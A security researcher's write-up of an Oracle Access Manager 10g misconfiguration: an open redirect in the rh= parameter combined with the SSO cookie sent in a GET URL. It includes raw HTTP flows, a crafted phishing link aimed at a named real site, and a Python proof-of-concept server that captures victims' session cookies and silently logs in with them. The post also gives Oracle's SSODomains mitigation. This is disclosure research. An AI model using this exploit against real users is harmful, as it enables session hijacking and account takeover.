Table of contents

Intro

TL;DR

Badly configured Oracle OAM 10g allows remote attackers to hijack sessions from unsuspecting users. This basically takes phishing to a whole new level. (A lot of high profile organisations didn't configure this properly about 99% of them)

Late last year Tom and I were engaged in a security assessment which proved to be quite a challenge. We stumbled upon a very complex Single Sign-On (SSO) authentication scheme which consisted of 18 different request in order to access the resource that was requested.

After mapping and creating a flow chart of all the cookies and parameters that were used in these series of requests. By singling out the most important set of cookies we discovered that the “ObSSOCookie” was quite powerful and allowed authentication on various sets of web applications available.

After doing some quick research on the internet this cookie is related to the SSO implementation of Oracle Access Manager. Now that we know which cookie is the most critical one we need to find a way to get our hands on this super Cookie :).

Oracle OAM Authentication flow

Before proceeding we need to understand how a user authenticates on this Oracle SSO implementation.

As you can see in the image above the user requests a protected resource let’s say https://somewebsite.com/protected/, the OAM server simply validates whether the resource is indeed protected or not. (Steps 1 and 2)
The OAM server evaluates the request and responds back with a decision saying that the resource requested is indeed protected. The Oracle OAM server responds back to the user and redirects the user to a login page to collect credentials from the user.

The raw HTTP requests/responses look something like this:

GET /protected/ HTTP/1.1
Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: somewebsite.com
Connection: Keep-Alive


HTTP/1.1 302 Redirect
Content-Length: 0
Location: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:16 GMT


GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1
Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Date: Fri, 09 Mar 2012 16:16:55 GMT
Pragma: no-cache
Content-Length: 3326
Content-Type: text/html; charset=UTF-8
Expires: 0
Set-Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5
X-Powered-By: Servlet/2.5 JSP/2.1

The OAM Server sets the OAMREQ cookie in the user's browser, with the information that the requested resource is located at https://somewebsite.com. That way on the next request the OAM server knows for which resource the user is authenticating.

At this point the user will be on the login screen and needs to submit his credentials (even 2FA).
This brings us to the second part of the authentication flow.

As the screenshot above shows; the user submits its credentials and the OAM server verifies the credentials and serves back various cookies one of them being “ObSSoCookie” which is given to the user after successful logon.

The user submits his credentials, the OAM server validates its credentials. If the credentials are valid the OAM Server gives the user a cookie and a valid session and redirects the user to the protected resource.
The raw HTTP requests/responses look as follows:

POST /oam/server/auth_cred_submit HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...

username=User1&password=User123456&request_id=-8330979068306697433


HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Fri, 09 Mar 2012 16:17:01 GMT
Transfer-Encoding: chunked
Location: http://somewebsite.com/obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly
Set-Cookie: OAM_ID=VERSION_4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw; path=/; HttpOnly
Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7
X-Powered-By: Servlet/2.5 JSP/2.1


GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=loggedoutcontinue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com


HTTP/1.1 302 Redirect
Content-Length: 0
Location: /protected/
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D;httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT


GET /protected/ HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com


HTTP/1.1 200 OK
Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT
Content-Length: 2495


So far the crash course in Oracle Authentication Manager, we can move on to the juicy stuff.

Hijacking the session

You might have noticed some obvious red flags in the request/response flow demonstrated above.

  • The parameter called rh=, which is the domain of the protected resource.
  • The cookie that is sent via a GET request...

Yes... in the GET request...

Now the challenge is to steal that cookie value and hijack the user's session.
But according to Oracle documentation the OAM server validates whether the resource is protected or not therefore asking a resource that doesn't exist should fail on first glance...

Let's craft our own request to send to the OAM server:

https://<some domain>/oam/server/obrareq.cgi?wh=<some_internal_domain> wu=<some_webpage> wo=1 rh=http://localhost ru=/this/does/not/exist.html

Our request will ask the OAM server to give us access to http://localhost/this/does/not/exist.html which doesn't exist at all...
Instead of complaining the OAM server redirects us to the login screen and asks for our credentials... this looks promising :)

We received an OAMREQ cookie from the OAM server, this will be used by the OAM server to determine where to send the user after successful authentication!

However still having a lot of doubt that this will work, because why would OAM Server give us a valid set of cookies to authenticate against a non-existing resource...

Anyway we submitted our credentials...

To our surprise we get a redirect from the OAM server to something like:

http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

Wait... did we just receive a cookie for a non-existing resource??

Maybe we just received a cookie only to work for http://localhost and the cookie wouldn't work on the real resource...

We changed the GET request from http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE> to http://<valid_domain_of_proteced_resource>/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

AAAAAND we're in.


HTTP/1.1 200 OK
Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2017 14:14:22 GMT
Content-Length: 2495


OK, so there are 2 "vulnerabilities" here...

  • Open Redirect (user gets redirected after submitting credentials)
  • Cookie value in GET request (saved on log files of the web server)

Since we can control where the user has to go and since we also can read the cookie value that is coming from the user we can hijack his session...

All we have to do is entice the victim to click on the link that we provide him and log in, since he's logging in on the real login portal we are not raising any suspicion.
If the user is already logged-in we will get his cookie without a problem and the victim won't notice a thing!!

Global Exposure

It started us thinking maybe this might be a stand-alone case of misconfiguration and this would be impossible to abuse on another OAM 10g setup.

Boy were we wrong about that statement...

We found hundreds of hundreds of high profile organisation with the same misconfiguration, all of them exposed against session hijacking. We analyzed 100 high profile domains and only 1 was properly secured against this attack! Unfortunately we cannot share the domains that are affected, but if you look for it you'll be able to find them.

We started looking for an organisation that used OAM SSO scheme with a similar setup and had a bug bounty program running. We quickly stumbled upon https://my.telekom.ro which is from Deutsche Telekom.

Users that want to access my.telekom.ro website get a redirect that looks as follows:
https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

Clicking on the link above will redirect the user to:
https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=%2Foam&password=sercure_string&challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay

Where the user has to submit his credentials in order to gain access to his information. If we change the first request as follows:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2Four_malicious_domain%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

We entice the victim (e.g. via phishing mail) to click on the link (which on first sight looks perfectly legitimate), it is important to note that all SSL communication remains intact, we are not setting up any other website to capture credentials like in a traditional phishing campaign.
He/she will be redirected to the login page and will be asked to submit their credentials. After submitting the credentials the server will reply back with a HTTP 302 redirect pointing to http://our_malicious_domain.

Our webserver on "http://our_malicious_domain" will steal the users cookie and use it log in on his account and finally our webserver will send a redirect to the victim with the same cookie information to the appropriate domain.
The result is that both the attacker and the victim are logged in, both sessions are independent from each other and most importantly the victim will never notice that something is wrong.

Proof-of-Concept Webserver Script

#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

"""
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time

def redirect_handler_factory(domain):
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
			if self.path.endswith("httponly") or self.path.endswith("%252F") or  self.path.endswith("do") or self.path.endswith("adfAuthentication"):
				webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
				time.sleep( 5 )
				webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
				time.sleep( 5 )
				self.send_response(301)
				self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
				self.end_headers()
				return
			else:
                            print self.path
    return RedirectHandler
           

def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
    parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')

    myargs = parser.parse_args()
    
    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)
    
    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()

Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.

Proof-of-Concept Video

This video will help clear up any confusion on how the attack works. If you still have questions, send me a message on twitter.

Mitigation

We contacted Oracle regarding this issue, and they simply pointed out that this is a configuration issue.
Their answer:

Our investigation shows that the issues had been addressed already. To
mitigate this attack, please refer to a feature called SSODomains.
More information can be found here:
http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm (search
for SSODomains) and at
http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm#BABBJHEG

If you don't define SSODomains, this effectively means you'll be able to get valid session for any domain.

CVSS rating

According to the NIST CVSSv3 calculator this vulnerability has a rating of 9.3

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N